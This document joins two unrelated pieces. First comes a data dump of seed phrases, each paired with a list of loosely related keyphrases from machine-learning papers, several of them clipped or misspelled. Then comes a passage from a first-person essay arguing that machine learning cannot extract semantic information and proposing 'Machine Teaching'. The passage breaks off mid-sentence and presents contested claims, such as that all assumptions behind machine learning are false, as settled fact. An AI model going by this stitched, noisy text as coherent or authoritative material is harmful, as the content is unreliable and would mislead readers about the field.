('data readily analyzable', 1, ['readily share data', 'readily teachable set', 'expected decomposable probability', 'implements decomposable scoring function', 'idea readily extends', 'decomposable attention model', 'readily perform direct sampling', 'readily transfer well-understood techniques', 'readily accommodate multiple simultaneous dancers', 'readily utilize algorithms', 'platform readily evaluated', 'decomposable probability-of-success metrics', 'raw cdr data', 'large redundant data sets', 'small computers recording data', 'unseen test data', 'training data xvn', 'structured data representations', 'preserving data privacy', 'data representation learning methods', 'data processing methods', 'analyze social data', 'reported demographic data', 'non-expert human demonstration data', 'unseen data distributions', 'creates noisy non-linearly separable data', 'underlying user data', 'specific data type', 'observation data trough', 'naive data augmentation techniques', 'data sets compared', 'full data set', 'well-studied real-world data', 'publicly release synthetic data', 'mixed-type tabular data', 'data assimilation algorithms', 'inspect historical training data', 'limited paired data context', 'single data point', 'detecting erroneous data', 'missing data range 90- 98%', 'acquired training data', 'labeling sequence data', 'data vectors', 'vertically partitioned data', 'training data selection', 'user action data', 'abstract raw sensor data', 'data augmentation techniques', 'large-scale high-dimensional data']),
('considered forty years ago', 1, ['speculative twenty years ago', '000 years ago', 'fifty years ago', 'experiment ten years ago', 'recent years learning-to-learn', 'recent years', 'recent years deep neural networks', 'recent years achieved human-competitive', 'recent years proven', 'average schooling years', 'recent past years', 'recent years convolutional neural networks', 'key research elds', 'years advanced malware', 'considered gain levels range', 'considered classical deep', 'variational indexes considered', 'lecture videos viewed', 'jointly considered data universes', 'considered working modality', 'considered options discovery', 'hedge funds considered', 'considered substantial agreement', 'considered latent variables', 'considered hidden variables', 'analyze dropout learning regarded', 'time slice considered', 'considered methods', 'viewing angle result', 'ensemble learning regarded', 'samples considered correct', 'considered deterministic normalization techniques', 'training tasks considered', 'users’ viewing preferences', 'considered declarative specification', 'study adults 85+ years', 'interactive protocol considered', 'estimation setting considered', 'considered deep-learning-asa-service computation', 'transfer scenarios considered', 'decision features considered', 'past thirty years', 'protected attribute considered', 'considered predictions set', 'learning restrictions considered', 'considered multi-step models', 'features considered irrelevant', 'learning-to-learn considered optimizing parameters', 'test machines considered', 'financial instrument considered']),
('complex security policies', 1, ['complex aggregation schemes', 'complex perception problem', 'complex road curvatures', 'complex prediction problems similar', 'exploring complex dependencies', 'gain profile complex optimization problem', 'complex real-world problems', 'overwhelmingly complex problem', 'solving complex problems specially', 'solving complex visual problems', 'complex optimization problem', 'complex decision-making problems', 'solving complex problems', 'complex regression problem', 'consecutive complex signal values', 'complex representations', 'learn complex feature representations', 'complex hypothesis spaces', 'learn complex representations', 'manipulating complex spaces', 'complex systems space', 'complex projective space', 'complex environment’s increased simulation cost', 'recent complex neutral network models', 'complex obfuscation methods', 'complex feature combinations', 'modeling complex environments', 'visually complex environment', 'complex environment dynamics', 'complex global operation', 'learn complex behaviour', 'complex locomotion environments', 'complex machine learning models', 'complex model exhibits large variance', 'training complex generative models', 'complex channel models', 'complex inhand manipulation skill', 'complex design patterns found', 'complex wavelet signals', 'complex pattern memorization', 'automatically recognize complex patterns', 'complex analytic subsets', 'complex real-world data distribution', 'complex multi-modal model', 'complex features combined', 'model complex systems consisting', 'constructing complex mathematical models', 'learn complex models', 'complex model architecture', 'simplicial complex models naturally define']),
('customize control-plane operations', 1, ['small basic operations', 'load additional operations', 'arithmetic operations', 'involves costly convolution operations', 'stopping usual business operations', 'approximate arithmetic operations', 'general reduce operations', 'economical power system operations', 'fundamental arithmetic operations', 'pooling operations make outputs gain', 'basic arithmetic operations', 'facilitate basic operations', 'evolutionary operations proposed', 'performing matrix operations', 'basic set operations', 'real-time network operations', 'multiplication operations making', 'matrix operations requires', 'performing genetic operations', 'perform non-standard tensor operations', 'utilized arithmetic operations', 'fast bit-wise operations', 'simple vectorial operations', 'perform type-specific operations', 'sparse collective operations', 'efficient boolean vector operations', 'read operations precede', 'represent simple operations', 'defining quantum operations', 'customized model training approach', 'customized model training', 'pooling operations', 'weighting operations ⊗1', 'graph pooling operations', 'adding user-defined operations', 'user adds operations', 'runtime operations increase', 'numpy’s array operations', 'power system operations', 'customized data representations', 'data cleaning operations', 'global/local synchronization operations', 'customized machine learning architectures', 'customized model function', 'customized point mass', 'layer operations', '10k merge operations', 'perform edit operations', 'require 7 vector operations', 'chain augmentation operations']),
('configuration tools today', 1, ['automatic configuration tools', 'so-called automatic configuration tools', 'automatic layout generation tool', 'layout generation tool', 'drives machine learning today', 'learning machines today', 'machine learning pipeline configurations', 'ground state configurations displays', 'today’s neural network architectures', 'sophisticated data visualization tool', 'data visualization tools', 'today’s massive academic output', 'machine learning tools', 'sophisticated test generation tool', 'subsequent learning tools', 'deep learning text categorization tool', 'deep learning tool', 'learning tools', 'popular neuropsychological screening tool', 'model-agnostic interpretation tools', 'chine learning tools', 'modern deep learning tools', 'state-of-the-art supervised dictionary learning tools', 'modern machine learning tools', 'supervised learning tools developed', 'modern deep learning tool', 'deep learning tools', 'geometric constellation shapes', 'environment configuration', 'learn geometric constellation shapes robust', 'geometric constellation shape', 'risk assessment tools', 'standard deep learning packages today', 'automatic differentiation tools', 'causal reasoning tools', 'visualization tools show', 'verification tool generates', 'primary article management tool', 'mixed-initiative design assistance tools', 'tools encourages discussions', 'predictive measurement tool', 'peer review tools', 'efficient problem configuration', '50- dimensional pose configurations', 'dnn hyper-parameter configuration problem', 'field configuration images', 'vision paper today', 'predictive modeling tool', 'today’s neural networks', 'superior tool users']),
('storage class memory', 1, ['specific memory storage model', 'aggregate class representations', 'rich class representations', 'representation class consists', 'aggregated class representation', 'aggregated class representations', 'current data storage systems', 'memory impairment group', 'replay memory set', 'knowledge storage carrier', 'knowledge storage mechanism', 'probable image classes', 'entire 75 image classes', 'memory traffic', 'cache memory data', 'limited memory bundle method', 'controller’s experience memory set', 'short memory data', 'limited memory variety', 'user data memory', 'class imbalanced issue', 'class imbalance issue', 'ebm’s light memory usage', 'process’s memory footprint', 'long short term memory network', 'parametric concept class', 'finite concept class', 'memory network', 'privately learnable concept classes', 'original concept class', 'learner’s concept class', 'interesting infinite concept classes', 'long short term memory networks', 'concept class', 'concept class measures', 'concept classes included', 'infinite concept class', 'concept classes', 'general concept classes', 'definable concept classes', 'longshort term memory networks', 'restricted concept class', 'extended concept class', 'long short-term memory networks', 'class imbalanced training data', 'memory usage heavily depend', 'memory usage', 'memory usage compared', 'small memory usage', 'benchmark working memory tasks']),
('social security numbers', 1, ['condition numbers 16', 'low condition numbers', 'social science problems', 'rapidly solve pressing social problems', 'unequal social groups', 'social media language', 'generic social network scenario', 'social network scenario', 'social network scenarios', 'social interaction mode', 'social graph', 'rich social graph', 'social network graphs', 'social network graph', 'social media information', 'social debates', 'reify racialized social inequality', 'social inequality achieved', 'internet social debate', 'analyze social data', 'social network company', 'popular social networks', 'great societal relevance', 'social welfare functions', 'popular social network', 'on-line social network', 'social network classification', 'social network disaster relevance', 'big social data', 'social media data', 'social data', 'social networks', 'social disparities', 'turn reinforce societal biases', 'societal concerns', 'promoting social integration based', 'social media resources', 'social image annotation', 'users social fabric', 'social impact', 'social interaction', 'encodes societal gender biases', 'social media experience', 'social scientists alike', 'social learning strategy', 'social theory helps', 'broader social impacts', 'social learning', 'social media companies', 'simulating social behavior']),
('today’s file systems', 1, ['network file system', 'learning system’s behavior—to optimize', 'local file system', 'hadoop distributed file system', 'file system', 'storage file systems', 'device’s validation set', 'subject’s mobile device', 'system’s probability distribution', 'networked systems space', 'complex systems space', 'user’s machine learning script', 'output capsule’s pose', 'hinton’s capsule network', 'machine learning practitioner’s work', 'reward structure’s parameters', 'detector’s decision function', 'language processing system', 'natural language processing systems', 'drives machine learning today', 'learning machines today', 'previous section’s argument', 'machine log files', 'semi-structured machine log files', 'system life cycle', 'leveraging holder’s inequality', 'machine translation system', 'generator model’s output grows closer', 'final search result’s quality', 'agent’s camera orientation', 'generator’s parameters θ', 'robust aggregation system', 'adversary’s strategy space', 'power system', 'economical power system operations', 'power systems community', 'power system dataset', 'significantly en-hance power system flexibility', 'power system operations', 'power system framework', 'system complexity', 'power system testbed', 'accurately simulate power system dynamics', 'patient’s primary condition group', 'authentic power system dataset', 'power systems communities', 'today’s neural network architectures', 'water level control system', 'learner’s knowledge level', 'warning sign’s effects']),
('cloud vendor’s offering', 1, ['cloud computing vendors provide', 'trader’s risk aversion', 'agent’s computed motion template', 'agent’s video clips', 'final search result’s quality', 'greatly increased user’s motivation', 'user’s knowledge', 'learner’s knowledge state', 'learner’s knowledge', 'learner’s knowledge level', 'paper’s reported results', 'cloud computing providers', 'cloud services providers', 'input point clouds', 'input point cloud', 'teacher’s hypothesis', 'teacher’s expected answer', 'answer network’s input vector xt', 'neural network’s explanation', 'applied scientist’s skill set', 'user’s machine learning script', 'learner’s policy', 'user’s underlying intent', 'user’s prior belief', 'user’s specific purpose', 'user’s base table', 'incremental learner’s performance', 'user’s gesture takes', 'user’s mental image', 'user’s ego network', 'improve single learner classifier’s performance', 'user’s mental map', 'patient’s primary condition group', 'agent’s discounted return', 'agent’s policy network', 'agent’s body parts', 'agent’s policy based', 'agent’s intrinsicallymotivated rewards', 'agent’s state', 'learning agent’s parameters', 'single agent’s data', 'agent’s expected return', 'target agent’s policy', 'agent’s camera orientation', 'agent’s policy pass', 'agent’s environment consists', 'mc rl’s trained agent', 'agent’s component', 'agent’s algorithm takes', 'target agent’s parameters']),
('isolated system environment', 1, ['maze environment aim', 'unique systems challenges', 'systems challenges', 'drone’s image recognition system', 'bank’s image recognition system', 'art image recognition system', 'automated speech recognition systems', 'facial recognition systems', 'face recognition system', 'blocks world environment', 'train face recognition systems', 'handwriting recognition systems', 'disease recognition system', 'modern gender recognition systems', 'networked systems space', 'electronic safety related systems', 'system life cycle', 'safety critical systems', 'complex systems space', 'simulated object pushing environment', 'robot arm environment', 'robot arm environments', 'power system', 'open world production environment', 'economical power system operations', 'wireless environments', 'power systems community', 'introduced ranking system', 'environment outputs random state', 'power system dataset', 'significantly en-hance power system flexibility', 'power system operations', 'power system framework', 'system complexity', 'real world environment', 'power system testbed', 'intentionally exploit system vulnerabilities', 'accurately simulate power system dynamics', 'procedurally generated platform environments', 'commercial cyber security systems', 'authentic power system dataset', 'power systems communities', 'grid world environments', 'learning environment remains unchanged', 'million environment steps', 'water level control system', 'base execution environment', 'environment outputs', 'isolated optimization techniques result', 'inside isolated components']),
('strong data provenance system', 1, ['strong data processing inequality', 'strong data extraction process', 'training data show strong clusters', 'data discovery system', 'current data storage systems', 'data discovery systems', 'administrative sources data', 'explain arbitrary data sources', 'source data longer', 'related data sources', 'untrusted data sources', 'geo-distributed data sources revolve', 'labeled source data', 'data source', 'test data fault source', 'source domain data set', 'data fault sources', 'additional data sources', 'paired speech-translation data source', 'multiple data sources', 'source data center', 'source data set', 'complex data sources', 'data fault source', 'original labeled source data', 'data sources', 'source domain data', 'open source big data technology', 'distributed data sources', 'source code data', 'isolated data sources', 'source code edit data', 'robust aggregation system', 'strong class imbalance', 'stronger machine learning models', 'set system', 'set system induced', 'abstract set system', 'fundamental set systems', 'set system underlying', 'efficient data container', 'device collects data', 'social media data', 'device’s local data', 'geometric set systems', 'set system consisting', 'device’s validation data', 'data efficient machine learning workshop', 'show strong clustering', 'strong patient-provider network based']),
('kernel bypass subsystems', 1, ['regularization kernel network', 'kernel network', 'kernel neural network', 'deep kernel network', 'feedforward network kernel', 'large margin feed-forward network kernel', 'bypass networks', 'kernel class', 'kernel combination space', 'base kernel matrix', 'resulting kernel matrix', 'learn kernel matrices', 'final kernel matrix', 'positive definite kernel matrix', 'kernel space', 'kernel matrix computed', 'learned kernel matrix', 'kernel space defined', 'typical squared exponential kernel matrix', 'valid kernel matrix', 'kernel target alignment', 'kernel matrix', 'pre-given kernel matrix', 'maximizing kernel target alignment', 'empirical kernel matrix', 'kernel matrices', 'nl × nl kernel matrix', 'synthetic kernel matrices', 'kernel feature space', 'kernel alignment', 'weighted degree string kernel', 'single layer kernels', 'layer kernel machine', 'information geometric kernel density estimation', 'pre-defined kernel functions', 'reverse diffusion kernel', 'kernel functions', 'computationally expensive kernel function', 'radial basis kernel', 'kernel function selection', 'kernel distance function', 'pre-defined kernel function', 'input kernel function', 'gaussian kernel function', 'basis kernel', 'parametric kernel functions', 'kernel target alignment criterion', 'partially shared kernel function', 'kernel function κ', 'radial basis kernels']),
('simple data model', 1, ['simple knowledge base embedding model', 'simple data noising strategy', 'simple data augmentation strategy', 'architecture models meta data', 'simple models detailed', 'simple models describing', 'simple models', 'simple model', 'distributed data processing frameworks', 'simple interpretable models', 'generate simple interpretable models', 'data quality models', 'entire model spectral data', 'data parallel framework', 'data stream computational model', 'model spectral data', 'flipped data model', 'target framework profile included data', 'data generating models', 'data generating model', 'data mining process model', 'data driven model training', 'noise model data', 'relational data model', 'existing educational data mining models', 'model highly heterogeneous data', 'model performance data', 'ensemble-based data assimilation framework', 'data driven models', 'data analysis framework', 'model aggregation', 'standardized metadata models', 'sophisticated base model classes', 'base model class', 'incremental batch learning framework', 'framework batch active learning', 'employ model combination', 'permutation-invariant set model', 'defined-to-be-interpretable model classes equally interpretable', 'shifting model choice sets', 'finite model set', 'spline regression model representing class', 'construct table-structured data representations', 'model combinations reported', 'core language model', 'humans design models', 'data type abstraction', 'model clusters appropriately', 'positive pair models', 'cluster computing frameworks']),
('colocate communication functions', 1, ['action activation functions', 'action activation function', 'error functions', 'acquisition function utilized widely', 'temporal acquisition function', 'kernel function selection', 'gradient privacy protection function', 'training loss functions', 'entropy search acquisition function', 'training set error function', 'support mapping objects', 'expected loss function errors', 'work utilizing non-linear function approximation', 'network evaluation function', 'existing acquisition functions', 'acquisition function', 'acquisition functions', 'fixed aggregation function offers', 'iterative function evaluations', 'fetch data function', 'remaining acquisition functions', 'function evaluations', 'error function erf', 'loss function error', 'cost function supports', 'training loss function', 'true acquisition function', 'called approximation error function', 'reward function evaluation grows linearly', 'presented potential function helps', 'loss function errors', 'constraint propagation function', 'objective function evaluation', 'approximation error function', 'objective function evaluation requires evaluating', 'support mapping similar', 'purely uncertainty-based acquisition functions', 'error indicator function', 'simple fetch data function', 'pursue function evaluations', 'objective function evaluations', 'error function', 'strongly-performing acquisition functions', 'privacy protection function', 'temporal acquisition functions', 'loss function ` assigning', 'loss function error sequence', 'tracked acquisition function', 'decision functions', 'classification loss function']),
('software-as-a-service products today', 1, ['large tensor product spaces', 'bring quality products', 'drives machine learning today', 'fashion product recognition dataset8', 'today’s neural network architectures', 'today’s massive academic output', 'learning machines today', 'tensor product operation', 'product similarity function', 'product nodes identify factorizations', 'vector dot product', 'product review domains', 'dot product', 'dot products', 'test sets comprise products', 'code products external', 'gradient dot products', 'weighted element-wise dot product', 'product w>i wj close', 'product data', 'published specific data products', 'gradient dot product', 'multiple product lines', 'outer product operator', 'commercial product descriptions', 'production ready product', 'product management software developed', 'discrete product distributions', 'binary product distributions', 'vision paper today', 'product give similar results', 'product form', 'machine learning products', 'dot product operations', 'today’s neural networks', 'deep neural networks today', 'implementation handles products', 'tensor product position', 'standard deep learning packages today', 'today’s electricity markets', 'learn product automata', 'remain valid today', 'initial prefix tree acceptor product', 'minimum viable product', 'product model', 'symmetric outer product decomposition', 'dot product zᵀj', 'outer product factorization', 'matrix product states', 'cross product kernel']),
('storage-based communication system', 1, ['wireless communication system', 'future multi-band optical communication systems', 'normal system activity', 'data discovery system', 'highly functional production system', 'real production systems', 'data discovery systems', 'decision support systems provided', 'proposed training system', 'system make error', 'machine learning systems design process', 'protection systems vary', 'marker-based motion capture system', 'motion capture system', 'system generates artificial faults', 'system protection software', 'system development process', 'online education systems', 'clinical decision support system', 'personalized search systems', 'clinical decision support systems', 'search engine system', 'makings network intrusion detection systems', 'decision support systems', 'financial search engine system', 'improve clinical decision support systems', 'communication graph structure', 'system enabling valuable interactions', 'system identification', 'develop classification systems', 'communication rounds required', 'malware classification system', 'economical power system operations', 'incremental classification systems', 'existing motion planning systems', 'system identification techniques', 'computer applications and/or systems design', 'decoupled classification systems', 'communication rounds', 'single communication round', 'power system operations', 'credit scoring system', 'nonlinear system identification', 'classification systems', 'system identification approach', 'linear system identification', 'recommender system tasks', 'reinforcement learning system', 'build interpretable reinforcement learning systems', 'protein classification system']),
('great deal faster', 1, ['leading faster discovery', 'faster convergence rate', 'networks yielded faster convergence', 'show great promise', 'yielded faster training processes', 'recently achieved great successes', 'reporting faster training times', 'optimal behavior faster', 'achieve faster convergence', 'faster convergence', 'achieve faster training', 'shown great promise', 'shown great success', 'holding great promise', 'faster learning process', 'shown faster training', 'enables faster convergence', 'achieving great success', 'achieved great success', 'performance drops significantly faster', 'faster run time', 'demonstrated great performance', 'yield faster learning', 'great performance boost', 'shown great performance', 'achieve great improvements', 'sparked great insights', 'autonomous algorithm initially converges faster', 'great societal relevance', 'presents great opportunities', 'methods learn significantly faster', 'faster active learning loops', 'separate network enables faster learning', 'simple feedforward network faster', 'caused great difficulties', 'proposed method converges faster', 'track termination condition faster', 'estimator achieves great learning efficiency', 'js 177 times faster', 'lose great amounts', 'faster learning progress', 'encounter great challenges', 'made great strides', 'achieve great results', 'policy faster', 'great opportunities facing researchers', 'learning preferences faster', 'find high-quality solutions faster', 'results show great potential', 'complete dialogs faster']),
('requires interprocess protection', 1, ['providing meaningful end-to-end protection', 'intellectual property protection', 'protection systems vary', 'computational effort needed', 'work effort needed', 'require additional features construction/engineering process', 'measurements require identification', 'stronger privacy protection', 'required training subsets', 'computational process needed', 'required training time', 'training process requires hundreds', 'lab measurements needed', 'approaches require excessive training time', 'learning process requires', 'total computation needed', 'communication rounds required', 'required classification label', 'machine learning applications require', 'requiring task labels', 'requires considerable communication', 'two-way communication channel needed', 'automated grid protection', 'requires exhaustive tuning', 'proposed criterion requires computation', 'non-trivial task requiring', 'methods require hyperparameter tuning', 'tasks typically require', 'communication bandwidth required', 'task requires answering', 'assessor attacks generally require', 'estimated actions required', 'lowest magnitude adversarial attack required', 'requires special care', 'requires lower computation time', 'require graph-wide calculations', 'total communication required', 'communication costs required', 'required intermediate computations', 'requires linear time computations', 'scientific applications require', 'inventory planning require richer information', 'requires high computation', 'average interaction time needed', 'interaction primitives required', 'human interactions required', 'requires km performance evaluations', 'requires special services', 'results requires careful examination', 'conscious domain requires conceptualization']),
('managing heterogeneous hardware', 1, ['heterogeneous multi-agent systems', 'heterogeneous distributed systems', 'heterogeneous or/and multiple network architectures', 'heterogeneous network architectures', 'heterogeneous relational kernel learning', 'heterogeneous users interact', 'handles heterogeneous resource requests', 'heterogeneous modeling', 'heterogeneous disease effect modeling approach', 'heterogeneous treatment effect', 'heterogeneous disease effect', 'heterogeneous search space', 'heterogeneous edge servers', 'heterogeneous interaction network based', 'heterogeneous information network', 'heterogeneous networks', 'heterogeneous network resources', 'heterogeneous data modalities', 'heterogeneous big data', 'heterogeneous nature', 'heterogeneous time series data', 'model highly heterogeneous data', 'single heterogeneous network', 'heterogeneous data', 'heterogeneous undirected network', 'heterogeneous network model', 'turns heterogeneous medical records', 'heterogeneous domain adaptation', 'heterogeneous time series', 'heterogeneous switching behavior', 'heterogeneous multi-task metric learning', 'heterogeneous transfer learning', 'heterogeneous transfer learning approaches', 'estimating heterogeneous treatment effects', 'heterogeneous multitask learning', 'multiple heterogeneous domains', 'heterogeneous domains', 'heterogeneous active learning tasks', 'heterogeneous multi-task learning', 'heterogeneous tasks', 'incorporate heterogeneous models', 'heterogeneous features', 'heterogeneous network-based model', 'efficient hardware implementation', 'efficient hardware realization', 'specialized machine learning hardware', 'massively parallel hardware', 'state-of-the-art hardware technology', 'heterogeneous tasks/domains', 'building specialized machine learning hardware']),
('require custom built tools', 1, ['predictive measurement tool', 'evaluating custom machine learning pipelines', 'static analysis tools', 'primary article management tool', 'developing technology tools', 'large deviation tools', 'custom learning rate decay', 'sophisticated test generation tool', 'subsequent learning tools', 'deep learning text categorization tool', 'deep learning tool', 'sophisticated data visualization tool', 'mixed-initiative design assistance tools', 'popular neuropsychological screening tool', 'automatic layout generation tool', 'modern deep learning tools', 'modern machine learning tools', 'modern deep learning tool', 'deep learning tools', 'automatic differentiation tools', 'automatic configuration tools', 'so-called automatic configuration tools', 'superior tool users', 'current frameworks implements tools', 'automatic extraction tool', 'custom task interpreter based', 'predictive modeling tool', 'open source tools', 'distributed ml jobs built', 'building human-like intelligent systems requires', 'custom proof-search methods working directly', 'building energy system', 'systems built', 'suitable machine learning tool', 'traditional fuzzing tool', 'machine learning based fuzzing tools', 'traditional fuzzing tools', 'computational tools', 'effective online learning tool', 'custom designed optimization algorithms', 'custom categorical variational autoencoder', 'highly capable tool', 'quickly evolving tools', 'cost-effective computational tools', 'promising generic tool', 'increasingly popular tool', 'modern containerization tools', 'machine learning tool', 'sktime includes tools', 'visual analytics tool']),
('complex overlapping code bases', 1, ['code base', 'starter code base', 'author code base', 'shared knowledge base', 'base neural network layers shared', 'shared latent bases', 'complex data structure', 'complex wavelet signals', 'consecutive complex signal values', 'complex systems space', 'literature presenting complex', 'inherently complex symbolic objects', 'building complex network architectures', 'existing complex neural networks', 'complex maze-like structure', 'complex structure', 'complex cell layer repeatedly', 'complex road curvatures', 'model complex systems consisting', 'complex neural network architectures', 'complex sensor data', 'complex sensory inputs', 'possibly complex learning system', 'complex deep learning architectures', 'complex system', 'complex software-intensive systems', 'complex systems bring', 'complex hypothesis spaces', 'manipulating complex spaces', 'complex robotic systems', 'complex analytic subsets', 'complex projective space', 'complex systems', 'complex aggregation schemes', 'complex enterprise system', 'complex learning machines', 'complex machine learning models', 'complex machine learning', 'complex data sources', 'gain profile complex optimization problem', 'eventually learn complex programming idioms', 'large complex world', 'complex model architecture', 'complex numbers xi', 'overlapping group structure', 'capture complex relations', 'complex item hierarchy', 'complex architectures', 'implement increasing complex convex functions', 'exploring complex dependencies']),
('serverless runtime system', 1, ['unknown time evolving system', 'biological natural systems', 'system identification', 'water storage system', 'nonequilibrium many-body system', 'real robotic systems', 'drone’s image recognition system', 'crossed wires represent multiple systems', 'targeted system', 'decision support systems provided', 'develop classification systems', 'submit system description papers', 'underlying system infrastructure', 'good concept representation learning system', 'nonequilibrium many-body systems', 'standard recommender system metrics', 'set system', 'power system', 'sensor systems', 'human auditory system', 'general type-2 fuzzy systems', 'quantum linear system algorithm', 'system dynamics equations', 'efficient machine learning systems design', 'machine learning systems considers', 'auditory system', 'actual intelligent maritime monitoring systems', 'system input', 'submitted online learning systems', 'malware classification system', 'test systems produce', 'computational model system', 'trustworthy machine learning systems', 'proposed training system', 'health system', 'traditional system', 'system transition', 'model complex systems consisting', 'operationalized scoring systems', 'visual system', 'automatic shape control system', 'expect broadly applicable intelligent systems', 'automated feedback system based', 'expert system administrators', 'chaotic systems', 'economical power system operations', 'heterogeneous multi-agent systems', 'conscious systems', 'popular recommendation systems datasets', 'concept algebra system'])
]
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The year of 2006 was exceptionally cruel to me – almost all of my papers submitted for that year conferences have been rejected. Not “just rejected” – unduly strong rejected. Reviewers of the ECCV (European Conference on Computer Vision) have been especially harsh: "This is a philosophical paper... However, ECCV neither has the tradition nor the forum to present such papers. Sorry..." O my Lord, how such an injustice can be tolerated in this world? However, on the other hand, it can be easily understood why those people hold their grudges against me: Yes, indeed, I always try to take a philosophical stand in all my doings: in thinking, paper writing, problem solving, and so no. In my view, philosophy is not a swear-word. Philosophy is a keen attempt to approach the problem from a more general standpoint, to see the problem from a wider perspective, and to yield, in such a way, a better comprehansion of the problem’s specificity and its interaction with other world realities. Otherwise we are doomed to plunge into the chasm of modern alchemy – to sink in partial, task-oriented determinations and restricted solution-space explorations prone to dead-ends and local traps. It is for this reason that when I started to write about “Machine Learning“, I first went to the Wikipedia to inquire: What is the best definition of the subject? “Machine Learning is a subfield of Artificial Intelligence“ – was the Wikipedia’s prompt answer. Okay. If so, then: “What is Artificial Intelligence?“ – “Artificial Intelligence is the intelligence of machines and the branch of computer science which aims to create it“ – was the response. Very well. Now, the next natural question is: “What is Machine Intelligence?“ At this point, the kindness of Wikipedia has been exhausted and I was thrown back, again to the Artificial Intelligence definition. It was embarrassing how quickly my quest had entered into a loop – a little bit confusing situation for a stubborn philosopher. Attempts to capitalize on other trustworthy sources were not much more productive (Wang, 2006; Legg & Hutter, 2007). For example, Hutter in his manuscript (Legg & Hutter, 2007) provides a list of 70-odd “Machine Intelligence“ definitons. There is no consensus among the items on the list – everyone (and the citations were chosen from the works of the most prominent scholars currently active in the field), everyone has his own particular view on the subject. Such inconsistency and multiplicity of definitions is an unmistakable sign of
philosophical immaturity and a lack of a will to keep the needed grade of universality and generalization. It goes without saying, that the stumbling-block of the Hutter’s list of definitions (Legg & Hutter, 2007) are not the adjectives that was used – after all the terms “Artificial“ and “Machine“ are consensually close in their meaning and therefore are commonly used interchangeably. The real problem – is the elusive and indefinable term „Intelligence“. I will not try the readers’ patience and will not tediously explain how and why I had arrived at my own definition of the matters that I intend to scrutinize in this paper. I hope that my philosophical leanings will be generously excused and the benevolent readers will kindly accept the unusual (reverse) layout of the paper’s topics. For the reasons that would be explained in a little while, the main and the most general paper’s idea will be presented first while its compiling details and components will be exposed (in a discending order) afterwards. And that is how the proposed paper’s layout should look like:
- Intelligence is the system’s ability to process information. This statement is true both for all biological natural systems as for artificial, human-made systems. By “information processing“ we do not mean its simplest forms like information storage and retrieval, information exchange and communication. What we have in mind are the high-level information processing abilities like information analysis and interpretation, structure patterns recognition and the system’s capacity to make decisions and to plan its own behavior. - Information in this case should be defined as a description – A language and/or an alphabet-based description, which results in a reliable reconstruction of an original object (or an event) when such a description is carried out, like an execution of a computer program. - Generally, two kinds of information must be distinguished: Objective (physical) information and subjective (semantic) information. By physical information we mean the description of data structures that are discernable in a data set. By semantic information we mean the description of the relationships that may exist between the physical structures of a given data set. - Machine Learning is defined as the best means for appropriate information retrieval. Its usage is endorsed by the following fundamental assumptions: 1) Structures can be revealed by their characteristic features, 2) Feature aggregation and generalization can be achieved in a bottom-up manner where final results are compiled from the component details, 3) Rules, guiding the process of such compilation, could be learned from the data itself. - All these assumptions validating Machine Learning applications are false. (Further elaboration of the theme will be given later in the text). Meanwhile the following considerations may suffice: - Physical information, being a natural property of the data, can be extracted instantly from the data, and any special rules for such task accomplishment are not needed. Therefore, Machine Learning techniques are irrelevant for the purposes of physical information retrieval. - Unlike physical information, semantics is not a property of the data. Semantics is a property of an external observer that watches and scrutinizes the data. Semantics is assigned to phisical data structures, and therefore it can not be learned
straightforwardly from the data. For this reason, Machine Learning techniques are useless and not applicable for the purposes of smantic information extraction. Semantics is a shared convention, a mutual agreement between the members of a particular group of viewers or users. Its assignment has to be done on the basis of a consensus knowledge that is shared among the group members, and which an artificial semantic-processing system has to possess at its disposal. Accomodation and fitting of this knowledge presumes availability of a different and usually overlooked special learning technique, which would be best defined as Machine Teaching – a technique that would facilitate externally-prepared-knowledge transfer to the system’s disposal .
These are the topics that I am interested to discuss in this paper. Obviously, the reverse order proposed above, will never be reified – there are paper organization rules and requirements, which none never will be allowed to override. They must be, thus, reverently obeyed. And I earnestly promiss to do this (or at least to try to do this) in this paper.
2. When the State of the Art is Irrelevant
One of the commonly accepted rules prescribes that the Introduction Section has to be succeeded by a clear presentation of a following subject: What is the State of the Art in the field and what is the related work done by the other researchers? Unfortunately, I’m unable to meet this requirement, because (to the best of my knowledge) there is no relevant work in the field that can be used for this purpose. Or, let us put this in a more polite way: The work presented in this paper is so different from other mainstream approaches that it would be unwise to compare it with the rest of the work in the field and to discuss arguments in favour or against their endless disagreements and discrepancies. However, to avoid any possible allegations in disrespectfulness, I would like to provide here some reflections on the departure points of my work, which (I hope) are common to many friends and foes in the domain. My first steps in the field were inspired by David Marr’s ideas about the “Primal” and the “Two-and-a-half” image representation sketch, which is carrying out the information content of an image (Marr, 1978; Marr, 1982). Image understanding was always the most relevant and the most palpable manifestation of human intelligence, and so, those who are busy with intelligence replications in machines, are due to cope with image understanding and image processing issues. “You see, – had I proudly agitated my employers, trying to convince them to fund my image-processing enterprises, – meagre lines of a painter’s caricature provide you with all information needed to comprehend the painter’s intention and to easily recognise the objects drawn in the picture. Edges are the information bearers! Edge exploration and processing will help us to reach advances in pattern recognition and image understanding. ” My employers were skeptic and penny-pinching, but nevertheless, I was allowed to do some work. However, very soon it had become clear that my problems are far from being information retrieval issues – my real problem was to run (approximately in a real-time fashion) a 3-by-3 (or 5-by-5) operator over a 256-by-256 pixel image. And only then, when the run is somehow successfully completed, I was doomed to find myself inflated with a multitude of edges: cracked, disjoint, and inconsistent. On one hand, an entire spectrum of
dissimilar edge pieces, and on the other hand – a striking deficit of any hints regarding how to arrange them into something handy and meaningful. At least, to choose among them (to discriminate, to segment, to threshold) those that would be suitable for further processing. Even though, it was at all not sure that anybody knows what such a processing should be. It was not only my nightmare. Many people have swamped in this bog. Many are still trying to tempt the fate – even today, the flow of edge extraction and segmentation publications does not dry up, and new machine learning techniques are reportedly proposed to cure the problem (Ghosh et al., 2007; Awad & Man, 2008; Qiu & Sun, 2009). Human vision physiology studies, which have been always seen as an endless source of computer vision R&D inspiration, have also proved to be of a little help here. Treisman’s feature-integration theory (Treisman & Gelade, 1980) and Biederman’s recognition-bycomponents theory (Biederman, 1987) – the cornerstones of contemporary vision science – were fitting well the bottom-up image processing philosophy, (where initial feature gathering is followed by further feature consolidation), but they have nothing to say about how this feature aggregation and integration (into meaningful perceptible objects) has to be realized. They only say that this process has to be done in a top-down fashion, in opposite to the bottom-up processing of the initial features. To overcome the problem, a great variety of so-called “binding” theories have been proposed (Treisman, 1996; Treisman, 2003). However, all of them turned out as inappropriate. In a desperate attempt to resolve this irresolvable contradiction, even a theory of a mysterious homunculus has been proposed – a “little man inside the head” that perceives the world through our senses and then unmistakably fulfils all the needed (intelligent) actions (Crick & Koch, 2000). But the theory of the homunculus has not taken roots. Human level intelligence has been and continues to be a challenge, and nothing in the field has changed since the 50s of 